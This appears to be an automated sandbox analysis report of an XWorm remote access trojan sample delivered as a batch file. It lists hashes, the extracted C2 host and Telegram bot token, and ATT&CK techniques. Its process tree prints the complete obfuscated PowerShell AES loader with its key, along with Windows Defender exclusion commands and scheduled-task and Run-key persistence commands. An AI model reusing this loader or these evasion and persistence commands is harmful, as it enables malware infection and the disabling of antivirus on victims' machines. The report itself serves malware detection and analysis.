xworm | 29fed046e6cb8a389667d00e1762e2dd76cdc2447fb8eeeb1384f16a3840864c

General

Target

LSD.bat
Size

1.3MB
MD5

a9550f1c944a4bce9df986467e8c8065
SHA1

da6c3d1e0b74a372f36b757917f0e9ddbd9ef4c3
SHA256

b7e0820ac8d4ca27a84814f33838a9892aaaec76f8837e791d6bad95e6259529
SHA512

fa76880904d49ac990a6b1172cf4aaa71c6119c17ed8c7bf31a9922433499ba3630d554273b49467ad59678d5d348deb8d7ce55b1120b4972941609566a732ca
SSDEEP

24576:IGaUv+Fjs045DPskYT2fBgr5ewKfgqVjS59G26wl9OM9g+l6xjSHWwu5:L9+yPf+VeYG2tI1QMW2z

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

7.tcp.ngrok.io:22206

Mutex

gZUzvp6k0Vw7befo

Attributes

Install_directory
%AppData%
install_file
OneDrive.exe
telegram
https://api.telegram.org/bot6356371662:AAF4_y4uR4P5salxGzkxmxDwHJPbGvs4F18

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral8/memory/4576-34-0x00000184FE070000-0x00000184FE09A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
664	powershell.exe
3044	powershell.exe
880	powershell.exe
3684	powershell.exe
936	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	LSD.bat.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk	LSD.bat.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk	LSD.bat.exe

Executes dropped EXE 1 IoCs

pid	Process
4576	LSD.bat.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrive = "C:\\Users\\Admin\\AppData\\Roaming\\OneDrive.exe"	LSD.bat.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
44	7.tcp.ngrok.io
72	7.tcp.ngrok.io
92	7.tcp.ngrok.io
27	raw.githubusercontent.com
28	raw.githubusercontent.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	api.ipify.org
19	api.ipify.org
32	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
664	powershell.exe
664	powershell.exe
4576	LSD.bat.exe
4576	LSD.bat.exe
3044	powershell.exe
3044	powershell.exe
880	powershell.exe
880	powershell.exe
3684	powershell.exe
3684	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
4576	LSD.bat.exe
4576	LSD.bat.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	664	powershell.exe
Token: SeDebugPrivilege	4576	LSD.bat.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeDebugPrivilege	4576	LSD.bat.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4576	LSD.bat.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 4220	3012	cmd.exe	88
PID 3012 wrote to memory of 4220	3012	cmd.exe	88
PID 4220 wrote to memory of 4880	4220	net.exe	89
PID 4220 wrote to memory of 4880	4220	net.exe	89
PID 3012 wrote to memory of 4888	3012	cmd.exe	90
PID 3012 wrote to memory of 4888	3012	cmd.exe	90
PID 4888 wrote to memory of 2016	4888	cmd.exe	91
PID 4888 wrote to memory of 2016	4888	cmd.exe	91
PID 3012 wrote to memory of 4636	3012	cmd.exe	95
PID 3012 wrote to memory of 4636	3012	cmd.exe	95
PID 3012 wrote to memory of 1648	3012	cmd.exe	96
PID 3012 wrote to memory of 1648	3012	cmd.exe	96
PID 3012 wrote to memory of 664	3012	cmd.exe	97
PID 3012 wrote to memory of 664	3012	cmd.exe	97
PID 3012 wrote to memory of 4576	3012	cmd.exe	100
PID 3012 wrote to memory of 4576	3012	cmd.exe	100
PID 4576 wrote to memory of 3044	4576	LSD.bat.exe	102
PID 4576 wrote to memory of 3044	4576	LSD.bat.exe	102
PID 4576 wrote to memory of 880	4576	LSD.bat.exe	104
PID 4576 wrote to memory of 880	4576	LSD.bat.exe	104
PID 4576 wrote to memory of 3684	4576	LSD.bat.exe	106
PID 4576 wrote to memory of 3684	4576	LSD.bat.exe	106
PID 4576 wrote to memory of 936	4576	LSD.bat.exe	108
PID 4576 wrote to memory of 936	4576	LSD.bat.exe	108
PID 4576 wrote to memory of 4920	4576	LSD.bat.exe	112
PID 4576 wrote to memory of 4920	4576	LSD.bat.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\LSD.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:4880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\system32\curl.exe
    curl -s https://api.ipify.org
    3⤵
    PID:2016
- C:\Windows\system32\curl.exe
  curl -s -o blacklist.txt https://raw.githubusercontent.com/ThunderboltDev/IP-BLACKLIST/main/blacklist_ips.txt
  2⤵
  PID:4636
- C:\Windows\system32\findstr.exe
  findstr /C:"194.110.13.70" blacklist.txt
  2⤵
  PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\\"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Users\Admin\AppData\Local\Temp\LSD.bat.exe
  "LSD.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $YZrPtiYD = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\LSD.bat').Split([Environment]::NewLine);foreach ($uDpKXGuz in $YZrPtiYD) { if ($uDpKXGuz.StartsWith(':: ')) { $TsoLQbVY = $uDpKXGuz.Substring(3); break; }; };$DLhtmrSl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($TsoLQbVY);$MmDnIeCf = New-Object System.Security.Cryptography.AesManaged;$MmDnIeCf.Mode = [System.Security.Cryptography.CipherMode]::CBC;$MmDnIeCf.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$MmDnIeCf.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3UJKza9U4IyboVW3XkY78xdElsdzOf0qDcphsexgwGg=');$MmDnIeCf.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IHByTY43CTggzzH1HZVtxA==');$DUzPrnIo = $MmDnIeCf.CreateDecryptor();$DLhtmrSl = $DUzPrnIo.TransformFinalBlock($DLhtmrSl, 0, $DLhtmrSl.Length);$DUzPrnIo.Dispose();$MmDnIeCf.Dispose();$jGyEbXKQ = New-Object System.IO.MemoryStream(, $DLhtmrSl);$HlKcPZxE = New-Object System.IO.MemoryStream;$foNXcIsL = New-Object System.IO.Compression.GZipStream($jGyEbXKQ, [IO.Compression.CompressionMode]::Decompress);$foNXcIsL.CopyTo($HlKcPZxE);$foNXcIsL.Dispose();$jGyEbXKQ.Dispose();$HlKcPZxE.Dispose();$DLhtmrSl = $HlKcPZxE.ToArray();$AMliJFTS = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($DLhtmrSl);$KtZnRMID = $AMliJFTS.EntryPoint;$KtZnRMID.Invoke($null, (, [string[]] ('')))
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\LSD.bat'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'LSD.bat.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:936
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
feadc4e1a70c13480ef147aca0c47bc0

SHA1
d7a5084c93842a290b24dacec0cd3904c2266819

SHA256
5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac

SHA512
c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96e3b86880fedd5afc001d108732a3e5

SHA1
8fc17b39d744a9590a6d5897012da5e6757439a3

SHA256
c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294

SHA512
909b1968f7204fa7029109b02232d8cc5438f6b4dc7c9044e4e47c59fcee538199b13029e36592b12ed573d48a308dd4822d2ced4129ab08d4111897e02be55d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
10890cda4b6eab618e926c4118ab0647

SHA1
1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d

SHA256
00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14

SHA512
a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221

Download Submit
C:\Users\Admin\AppData\Local\Temp\LSD.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fsldm0z.41z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\blacklist.txt

Filesize
14B

MD5
3be7b8b182ccd96e48989b4e57311193

SHA1
78fb38f212fa49029aff24c669a39648d9b4e68b

SHA256
d5558cd419c8d46bdc958064cb97f963d1ea793866414c025906ec15033512ed

SHA512
f3781cbb4e9e190df38c3fe7fa80ba69bf6f9dbafb158e0426dd4604f2f1ba794450679005a38d0f9f1dad0696e2f22b8b086b2d7d08a0f99bb4fd3b0f7ed5d8

Download Submit
memory/664-17-0x00007FF8EAEA0000-0x00007FF8EB961000-memory.dmp

Filesize
10.8MB

Download
memory/664-14-0x00007FF8EAEA0000-0x00007FF8EB961000-memory.dmp

Filesize
10.8MB

Download
memory/664-13-0x00007FF8EAEA0000-0x00007FF8EB961000-memory.dmp

Filesize
10.8MB

Download
memory/664-3-0x000001B3FF170000-0x000001B3FF192000-memory.dmp

Filesize
136KB

Download
memory/664-2-0x00007FF8EAEA3000-0x00007FF8EAEA5000-memory.dmp

Filesize
8KB

Download
memory/4576-32-0x00000184E3CC0000-0x00000184E3CD0000-memory.dmp

Filesize
64KB

Download
memory/4576-34-0x00000184FE070000-0x00000184FE09A000-memory.dmp

Filesize
168KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads